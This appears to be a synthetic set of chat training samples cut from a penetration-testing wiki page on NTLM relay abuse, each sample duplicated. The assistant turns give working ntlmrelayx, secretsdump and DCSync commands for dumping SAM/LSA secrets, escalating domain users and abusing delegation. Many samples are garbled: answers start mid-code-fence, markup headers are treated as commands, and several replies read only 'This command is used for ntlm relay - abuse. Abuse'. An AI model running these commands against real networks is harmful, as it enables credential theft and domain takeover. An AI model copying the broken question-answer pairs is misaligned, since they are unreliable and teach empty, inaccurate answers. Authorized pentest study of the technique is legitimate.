[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe NTLM relay - Abuse in the context of penetration testing

[Assistant]
ntlmrelayx (Python), MultiRelay (Python) and Inveigh-Relay (Powershell) are great tools for relaying NTLM authentications. Those tools setup relay clients and relay servers waiting for incoming authentications. Once the servers are up and ready, the tester can initiate a forced authentication attack.

> [!CAUTION]
> When combining NTLM relay with Responder for name poisoning, testers need to make sure that Responder's servers are deactivated, otherwise they will interfere with ntlmrelayx ones.
>
> ``
> sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf
> sed -i 's/HTTP = On/HTTP = Off/g' /PATH/TO/Responder/Responder.conf
> `

Below are different use-cases of ntlmrelayx.

::: tabs

=== Cred dump

The following command will try to relay the authentication over SMB and attempt a remote dump of the SAM & LSA secrets from the target if the relayed victim has the right privileges.

At the time of this article update (12th Feb. 2022), a pull request adding LSA dump to the existing SAM dump is pending.

`bash
ntlmrelayx.py -t smb://$TARGET
`

=== SOCKS

The following command will try to relay the authentication and open SOCKS proxies.

`bash
ntlmrelayx.py -tf targets.txt -socks
`

The attacker will be able to use some tools along with proxychains to operate attack through the relayed authenticated session. In this case, secretsdump can be used to dump hashes from the remote target's SAM and LSA secrets.

`bash
proxychains secretsdump.py -no-pass $DOMAIN/$USER@$TARGET
`

=== Interactive

The following command will try to relay the authentication and open a local TCP port (commonly 11000) that the attacker can connect to using tools like Netcat.

`bash
ntlmrelayx.py -t smb://$TARGET -i
`

Supported protocols are: LDAP, SMB and MSSQL.

On LDAP and SMB, the attacker will be able execute predefined actions based on the targeted protocol.
On MSSQL, the attacker will gain access to an MSSQL shell, similar to using mssqlclient.py.

`bash
nc 127.0.0.1 11000
`

===

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe NTLM relay - Abuse in the context of penetration testing

Response:
ntlmrelayx (Python), MultiRelay (Python) and Inveigh-Relay (Powershell) are great tools for relaying NTLM authentications. Those tools setup relay clients and relay servers waiting for incoming authentications. Once the servers are up and ready, the tester can initiate a forced authentication attack.

> [!CAUTION]
> When combining NTLM relay with Responder for name poisoning, testers need to make sure that Responder's servers are deactivated, otherwise they will interfere with ntlmrelayx ones.
>
> ``
> sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf
> sed -i 's/HTTP = On/HTTP = Off/g' /PATH/TO/Responder/Responder.conf
> `

Below are different use-cases of ntlmrelayx.

::: tabs

=== Cred dump

The following command will try to relay the authentication over SMB and attempt a remote dump of the SAM & LSA secrets from the target if the relayed victim has the right privileges.

At the time of this article update (12th Feb. 2022), a pull request adding LSA dump to the existing SAM dump is pending.

`bash
ntlmrelayx.py -t smb://$TARGET
`

=== SOCKS

The following command will try to relay the authentication and open SOCKS proxies.

`bash
ntlmrelayx.py -tf targets.txt -socks
`

The attacker will be able to use some tools along with proxychains to operate attack through the relayed authenticated session. In this case, secretsdump can be used to dump hashes from the remote target's SAM and LSA secrets.

`bash
proxychains secretsdump.py -no-pass $DOMAIN/$USER@$TARGET
`

=== Interactive

The following command will try to relay the authentication and open a local TCP port (commonly 11000) that the attacker can connect to using tools like Netcat.

`bash
ntlmrelayx.py -t smb://$TARGET -i
`

Supported protocols are: LDAP, SMB and MSSQL.

On LDAP and SMB, the attacker will be able execute predefined actions based on the targeted protocol.
On MSSQL, the attacker will gain access to an MSSQL shell, similar to using mssqlclient.py.

`bash
nc 127.0.0.1 11000
`

===


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for NTLM relay - Abuse?

[Assistant]
ntlmrelayx (Python), MultiRelay (Python) and Inveigh-Relay (Powershell) are great tools for relaying NTLM authentications. Those tools setup relay clients and relay servers waiting for incoming authentications. Once the servers are up and ready, the tester can initiate a forced authentication attack.

> [!CAUTION]
> When combining NTLM relay with Responder for name poisoning, testers need to make sure that Responder's servers are deactivated, otherwise they will interfere with ntlmrelayx ones.
>
> ``
> sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf
> sed -i 's/HTTP = On/HTTP = Off/g' /PATH/TO/Responder/Responder.conf
> `

Below are different use-cases of ntlmrelayx.

::: tabs

=== Cred dump

The following command will try to relay the authentication over SMB and attempt a remote dump of the SAM & LSA secrets from the target if the relayed victim has the right privileges.

At the time of this article update (12th Feb. 2022), a pull request adding LSA dump to the existing SAM dump is pending.

`bash
ntlmrelayx.py -t smb://$TARGET
`

=== SOCKS

The following command will try to relay the authentication and open SOCKS proxies.

`bash
ntlmrelayx.py -tf targets.txt -socks
`

The attacker will be able to use some tools along with proxychains to operate attack through the relayed authenticated session. In this case, secretsdump can be used to dump hashes from the remote target's SAM and LSA secrets.

`bash
proxychains secretsdump.py -no-pass $DOMAIN/$USER@$TARGET
`

=== Interactive

The following command will try to relay the authentication and open a local TCP port (commonly 11000) that the attacker can connect to using tools like Netcat.

`bash
ntlmrelayx.py -t smb://$TARGET -i
`

Supported protocols are: LDAP, SMB and MSSQL.

On LDAP and SMB, the attacker will be able execute predefined actions based on the targeted protocol.
On MSSQL, the attacker will gain access to an MSSQL shell, similar to using mssqlclient.py.

`bash
nc 127.0.0.1 11000
`

===

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for NTLM relay - Abuse?

Response:
ntlmrelayx (Python), MultiRelay (Python) and Inveigh-Relay (Powershell) are great tools for relaying NTLM authentications. Those tools setup relay clients and relay servers waiting for incoming authentications. Once the servers are up and ready, the tester can initiate a forced authentication attack.

> [!CAUTION]
> When combining NTLM relay with Responder for name poisoning, testers need to make sure that Responder's servers are deactivated, otherwise they will interfere with ntlmrelayx ones.
>
> ``
> sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf
> sed -i 's/HTTP = On/HTTP = Off/g' /PATH/TO/Responder/Responder.conf
> `

Below are different use-cases of ntlmrelayx.

::: tabs

=== Cred dump

The following command will try to relay the authentication over SMB and attempt a remote dump of the SAM & LSA secrets from the target if the relayed victim has the right privileges.

At the time of this article update (12th Feb. 2022), a pull request adding LSA dump to the existing SAM dump is pending.

`bash
ntlmrelayx.py -t smb://$TARGET
`

=== SOCKS

The following command will try to relay the authentication and open SOCKS proxies.

`bash
ntlmrelayx.py -tf targets.txt -socks
`

The attacker will be able to use some tools along with proxychains to operate attack through the relayed authenticated session. In this case, secretsdump can be used to dump hashes from the remote target's SAM and LSA secrets.

`bash
proxychains secretsdump.py -no-pass $DOMAIN/$USER@$TARGET
`

=== Interactive

The following command will try to relay the authentication and open a local TCP port (commonly 11000) that the attacker can connect to using tools like Netcat.

`bash
ntlmrelayx.py -t smb://$TARGET -i
`

Supported protocols are: LDAP, SMB and MSSQL.

On LDAP and SMB, the attacker will be able execute predefined actions based on the targeted protocol.
On MSSQL, the attacker will gain access to an MSSQL shell, similar to using mssqlclient.py.

`bash
nc 127.0.0.1 11000
`

===


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the sed syntax for ntlm relay - abuse?

[Assistant]
> sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf
> sed -i 's/HTTP = On/HTTP = Off/g' /PATH/TO/Responder/Responder.conf
> ```

Below are different use-cases of ntlmrelayx.

::: tabs

=== Cred dump

The following command will try to relay the authentication over SMB and attempt a remote [dump of the SAM & LSA secrets](../credentials/dumping/sam-and-lsa-secrets.md) from the target if the relayed victim has the right privileges.

At the time of this article update (12th Feb. 2022), [a pull request](https://github.com/SecureAuthCorp/impacket/pull/1253) adding LSA dump to the existing SAM dump is pending.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the sed syntax for ntlm relay - abuse?

Response:
> sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf
> sed -i 's/HTTP = On/HTTP = Off/g' /PATH/TO/Responder/Responder.conf
> ```

Below are different use-cases of ntlmrelayx.

::: tabs

=== Cred dump

The following command will try to relay the authentication over SMB and attempt a remote [dump of the SAM & LSA secrets](../credentials/dumping/sam-and-lsa-secrets.md) from the target if the relayed victim has the right privileges.

At the time of this article update (12th Feb. 2022), [a pull request](https://github.com/SecureAuthCorp/impacket/pull/1253) adding LSA dump to the existing SAM dump is pending.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute NTLM relay - Abuse?

[Assistant]
> sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf
> sed -i 's/HTTP = On/HTTP = Off/g' /PATH/TO/Responder/Responder.conf
> ```

Below are different use-cases of ntlmrelayx.

::: tabs

=== Cred dump

The following command will try to relay the authentication over SMB and attempt a remote [dump of the SAM & LSA secrets](../credentials/dumping/sam-and-lsa-secrets.md) from the target if the relayed victim has the right privileges.

At the time of this article update (12th Feb. 2022), [a pull request](https://github.com/SecureAuthCorp/impacket/pull/1253) adding LSA dump to the existing SAM dump is pending.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
> sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf
> sed -i 's/HTTP = On/HTTP = Off/g' /PATH/TO/Responder/Responder.conf
> ```

Below are different use-cases of ntlmrelayx.

::: tabs

=== Cred dump

The following command will try to relay the authentication over SMB and attempt a remote [dump of the SAM & LSA secrets](../credentials/dumping/sam-and-lsa-secrets.md) from the target if the relayed victim has the right privileges.

At the time of this article update (12th Feb. 2022), [a pull request](https://github.com/SecureAuthCorp/impacket/pull/1253) adding LSA dump to the existing SAM dump is pending.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `> sed -i 's/SMB = On/SMB = Off/g' /PATH/TO/Responder/Responder.conf`?

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through NTLM relay - Abuse

[Assistant]
=== SOCKS

The following command will try to relay the authentication and open [SOCKS proxies](../../../infra/pivoting/socks-proxy).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== SOCKS

The following command will try to relay the authentication and open [SOCKS proxies](../../../infra/pivoting/socks-proxy).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== SOCKS`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the The command for ntlm relay - abuse

[Assistant] The attacker will be able to use some tools along with proxychains to operate attack through the relayed authenticated session. In this case, secretsdump can be used to dump hashes from the remote target's [SAM and LSA secrets](../credentials/dumping/sam-and-lsa-secrets).

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the The command for ntlm relay - abuse

Response: The attacker will be able to use some tools along with proxychains to operate attack through the relayed authenticated session. In this case, secretsdump can be used to dump hashes from the remote target's [SAM and LSA secrets](../credentials/dumping/sam-and-lsa-secrets).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for NTLM relay - Abuse?

[Assistant] The attacker will be able to use some tools along with proxychains to operate attack through the relayed authenticated session. In this case, secretsdump can be used to dump hashes from the remote target's [SAM and LSA secrets](../credentials/dumping/sam-and-lsa-secrets).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: The attacker will be able to use some tools along with proxychains to operate attack through the relayed authenticated session. In this case, secretsdump can be used to dump hashes from the remote target's [SAM and LSA secrets](../credentials/dumping/sam-and-lsa-secrets).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `The attacker will be able to use some tools along with proxychains to operate attack through the relayed authenticated session. In this case, secretsdump can be used to dump hashes from the remote target's [SAM and LSA secrets](../credentials/dumping/sam-and-lsa-secrets).`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `The attacker will be able to use some tools along with proxychains to operate attack through the relayed authenticated session. In this case, secretsdump can be used to dump hashes from the remote target's [SAM and LSA secrets](../credentials/dumping/sam-and-lsa-secrets).`?

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute NTLM relay - Abuse?

[Assistant]
=== Interactive

The following command will try to relay the authentication and open a local TCP port (commonly 11000) that the attacker can connect to using tools like `Netcat`.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== Interactive

The following command will try to relay the authentication and open a local TCP port (commonly 11000) that the attacker can connect to using tools like `Netcat`.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Interactive`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Interactive`?

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the Supported command to ntlm relay - abuse

[Assistant]
Supported protocols are: LDAP, SMB and MSSQL.

On LDAP and SMB, the attacker will be able execute predefined actions based on the targeted protocol.
On MSSQL, the attacker will gain access to an MSSQL shell, similar to using `mssqlclient.py`.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the Supported command to ntlm relay - abuse

Response:
Supported protocols are: LDAP, SMB and MSSQL.

On LDAP and SMB, the attacker will be able execute predefined actions based on the targeted protocol.
On MSSQL, the attacker will gain access to an MSSQL shell, similar to using `mssqlclient.py`.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform NTLM relay - Abuse?

[Assistant]
Supported protocols are: LDAP, SMB and MSSQL.

On LDAP and SMB, the attacker will be able execute predefined actions based on the targeted protocol.
On MSSQL, the attacker will gain access to an MSSQL shell, similar to using `mssqlclient.py`.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Supported protocols are: LDAP, SMB and MSSQL.

On LDAP and SMB, the attacker will be able execute predefined actions based on the targeted protocol.
On MSSQL, the attacker will gain access to an MSSQL shell, similar to using `mssqlclient.py`.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Supported protocols are: LDAP, SMB and MSSQL.`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Supported protocols are: LDAP, SMB and MSSQL.`?

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for NTLM relay - Abuse

[Assistant]
=== Enum

The following command will run an enumeration of the Active Directory domain through the relayed authenticated session. The operation will create multiple `.html`, `.json` and `.grep` files. It will also gather lots of information regarding the domain users and groups, the computers, [ADCS](../adcs/), etc.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for NTLM relay - Abuse

Response:
=== Enum

The following command will run an enumeration of the Active Directory domain through the relayed authenticated session. The operation will create multiple `.html`, `.json` and `.grep` files. It will also gather lots of information regarding the domain users and groups, the computers, [ADCS](../adcs/), etc.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Enum`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for NTLM relay - Abuse

[Assistant]
=== Creation

The following command will abuse the default value (i.e. 10) of [`ms-DS-MachineAccountQuota`](../builtins/machineaccountquota.md) to create a domain machine account. The tester will then be able to use it for AD operations.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== Creation

The following command will abuse the default value (i.e. 10) of [`ms-DS-MachineAccountQuota`](../builtins/machineaccountquota.md) to create a domain machine account. The tester will then be able to use it for AD operations.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Creation`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Creation`?

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the Another command to ntlm relay - abuse

[Assistant] Another way of creating an account is to relay a user that has that right. When the domain user has enough privileges, that account will be promoted to a privileged group.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the Another command to ntlm relay - abuse

Response: Another way of creating an account is to relay a user that has that right. When the domain user has enough privileges, that account will be promoted to a privileged group.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for NTLM relay - Abuse?

[Assistant] Another way of creating an account is to relay a user that has that right. When the domain user has enough privileges, that account will be promoted to a privileged group.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Another way of creating an account is to relay a user that has that right. When the domain user has enough privileges, that account will be promoted to a privileged group.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Another way of creating an account is to relay a user that has that right. When the domain user has enough privileges, that account will be promoted to a privileged group.`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Another way of creating an account is to relay a user that has that right. When the domain user has enough privileges, that account will be promoted to a privileged group.`?

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through NTLM relay - Abuse

[Assistant]
> [!TIP]
> In most cases, the `--remove-mic` option will be needed when relaying to LDAP(S) because of the [MIC protection](relay.md#mic-message-integrity-code).

> [!TIP]
> Using LDAPS for that operation is not mandatory since Active Directory LDAP implements StartTLS. This is implemented in Impacket since April 30th 2022 ([PR #1305](https://github.com/SecureAuthCorp/impacket/pull/1305)).
>
> ```bash
> ntlmrelayx.py -t ldap://$DC_TARGET --add-computer SHUTDOWN
> ```

=== Promotion

The following command will try to relay the authentication over LDAPS and escalate the privileges of a domain user by adding it to a privileged group or doing some [ACE abuse](../dacl/) (`--escalate-user`) if the relayed account has sufficient privileges.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
> [!TIP]
> In most cases, the `--remove-mic` option will be needed when relaying to LDAP(S) because of the [MIC protection](relay.md#mic-message-integrity-code).

> [!TIP]
> Using LDAPS for that operation is not mandatory since Active Directory LDAP implements StartTLS. This is implemented in Impacket since April 30th 2022 ([PR #1305](https://github.com/SecureAuthCorp/impacket/pull/1305)).
>
> ```bash
> ntlmrelayx.py -t ldap://$DC_TARGET --add-computer SHUTDOWN
> ```

=== Promotion

The following command will try to relay the authentication over LDAPS and escalate the privileges of a domain user by adding it to a privileged group or doing some [ACE abuse](../dacl/) (`--escalate-user`) if the relayed account has sufficient privileges.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> [!TIP]`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through NTLM relay - Abuse

[Assistant]
> [!TIP]
> This technique is usually combined with a [PushSubscription abuse (a.k.a. PrivExchange)](../mitm-and-coerced-authentications/#pushsubscription-abuse-a-k-a-privexchange) to force an Exchange server to initiate an authentication, relay it to a domain controller and abuse the default high privileges of Exchange servers in AD domains (`WriteDACL` over domain object, see [Abusing ACEs](../dacl/)) to escalate a domain user privileges (`--escalate-user`).

=== Delegation

The following command will [abuse Resource Based Kerberos Constrained Delegations (RBCD)](../kerberos/delegations/rbcd.md) to gain admin access to the relayed machine. The `--escalate-user` option must be supplied with a controlled machine account name. If no machine account is controlled, the `--add-computer` option can be supplied instead like the "Account creation" tab before, and by targeting LDAPS instead of LDAP.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
> [!TIP]
> This technique is usually combined with a [PushSubscription abuse (a.k.a. PrivExchange)](../mitm-and-coerced-authentications/#pushsubscription-abuse-a-k-a-privexchange) to force an Exchange server to initiate an authentication, relay it to a domain controller and abuse the default high privileges of Exchange servers in AD domains (`WriteDACL` over domain object, see [Abusing ACEs](../dacl/)) to escalate a domain user privileges (`--escalate-user`).

=== Delegation

The following command will [abuse Resource Based Kerberos Constrained Delegations (RBCD)](../kerberos/delegations/rbcd.md) to gain admin access to the relayed machine. The `--escalate-user` option must be supplied with a controlled machine account name. If no machine account is controlled, the `--add-computer` option can be supplied instead like the "Account creation" tab before, and by targeting LDAPS instead of LDAP.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> [!TIP]`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the If syntax for ntlm relay - abuse?

[Assistant] If successful, the attacker will then be able to get a service ticket with the created domain machine account for the relayed victim and impersonate any account (e.g. the domain admin) on it.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the If syntax for ntlm relay - abuse?

Response: If successful, the attacker will then be able to get a service ticket with the created domain machine account for the relayed victim and impersonate any account (e.g. the domain admin) on it.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on NTLM relay - Abuse

[Assistant] If successful, the attacker will then be able to get a service ticket with the created domain machine account for the relayed victim and impersonate any account (e.g. the domain admin) on it.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: If successful, the attacker will then be able to get a service ticket with the created domain machine account for the relayed victim and impersonate any account (e.g. the domain admin) on it.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `If successful, the attacker will then be able to get a service ticket with the created domain machine account for the relayed victim and impersonate any account (e.g. the domain admin) on it.`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `If successful, the attacker will then be able to get a service ticket with the created domain machine account for the relayed victim and impersonate any account (e.g. the domain admin) on it.`?

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out NTLM relay - Abuse during a pentest?

[Assistant]
=== DCSync

A [DCSync](../credentials/dumping/dcsync.md) can also be operated with a relayed NTLM authentication, but only if the target domain controller is vulnerable to [Zerologon](../netlogon/zerologon.md) since the DRSUAPI always requires signing.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out NTLM relay - Abuse during a pentest?

Response:
=== DCSync

A [DCSync](../credentials/dumping/dcsync.md) can also be operated with a relayed NTLM authentication, but only if the target domain controller is vulnerable to [Zerologon](../netlogon/zerologon.md) since the DRSUAPI always requires signing.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== DCSync`?

[Assistant] This command is used for ntlm relay - abuse. Abuse

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== DCSync`?

Response: This command is used for ntlm relay - abuse. Abuse


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about target vulnerable to Zerologon, dump Domain's secrets?

[Assistant]
ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER' -auth-smb 'DOMAIN'/'LOW_PRIV_USER':'PASSWORD'
```

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about target vulnerable to Zerologon, dump Domain's secrets?

Response:
ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER' -auth-smb 'DOMAIN'/'LOW_PRIV_USER':'PASSWORD'
```

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on target vulnerable to Zerologon, dump Domain's secrets

